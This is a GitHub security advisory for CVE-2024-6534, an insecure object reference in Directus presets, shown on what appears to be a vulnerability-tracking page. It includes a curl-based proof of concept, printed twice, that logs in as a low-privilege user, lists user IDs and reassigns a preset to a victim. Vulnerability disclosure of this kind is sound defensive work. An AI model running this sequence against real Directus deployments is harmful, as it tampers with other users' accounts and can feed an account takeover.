GHSA-3FFF-GQW3-VJ86

Vulnerability from github – Published: 2024-08-27 19:54 – Updated: 2025-03-20 18:36
VLAI
Summary
Directus has an insecure object reference via PATH presets
Details

Impact

Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.

PoC

To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

  1. Create a preset for a collection.

Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
  1. Modify the presets via PATCH /presets/{id}.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.13.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-27T19:54:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nDirectus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover.\n\nThis vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request.\n\n### PoC\nTo exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.\n\n1. Create a preset for a collection.\n\nStore the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset.\n\n```bash\nTARGET_HOST=\"http://localhost:8055\" ATTACKER_EMAIL=\"malicious@malicious.com\" ATTACKER_PASSWORD=\"123456\" root_dir=$(dirname $0) mkdir \"${root_dir}/static\" curl -s -k -o /dev/null -w \"%{http_code}\" -X \u0027POST\u0027 \"${TARGET_HOST}/auth/login\" \\ -c \"${root_dir}/static/attacker_directus_session_token\" \\ -H \u0027Content-Type: application/json\u0027 \\ -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\" attacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") # Store all user\u0027s id curl -s -k \"${TARGET_HOST}/users\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data[] | select(.id != \\\"${attacker_user_id}\\\")\" \u003e \"${root_dir}/static/users.json\"\n\n# Choose the victim user id from the previous request\nvictim_user_id=\"4f079119-2478-48c4-bd3a-30fa80c5f265\"\nusers_preset_id=$(curl -s -k -X \u0027POST\u0027 \"${TARGET_HOST}/presets\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -b \"${root_dir}/static/attacker_directus_session_token\" \\\n  --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"{{tittle}}\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"  | jq -r \u0027.data.id\u0027)\n```\n\n2. Modify the presets via `PATCH /presets/{id}`.\n\nWith the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter.\n\n```bash\ncurl -i -s -k -X \u0027PATCH\u0027 \"${TARGET_HOST}/presets/${users_preset_id}\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${victim_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"PoC Assign another users presets\\\",\\\"subtitle\\\":\\\"fakeemail@fake.com\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nNotes:\n\nEach new preset to a specific collection will have an integer consecutive id independent of the user who created it.\n\nThe user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.\n\nThe app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.\n\nWhen the victim visits the views of the modified presets, it will be rendered with the new configuration applied.",
  "id": "GHSA-3fff-gqw3-vj86",
  "modified": "2025-03-20T18:36:04Z",
  "published": "2024-08-27T19:54:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6534"
    },
    {
      "type": "WEB",
      "url": "https://directus.io"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/capaldi"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directus has an insecure object reference via PATH presets"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.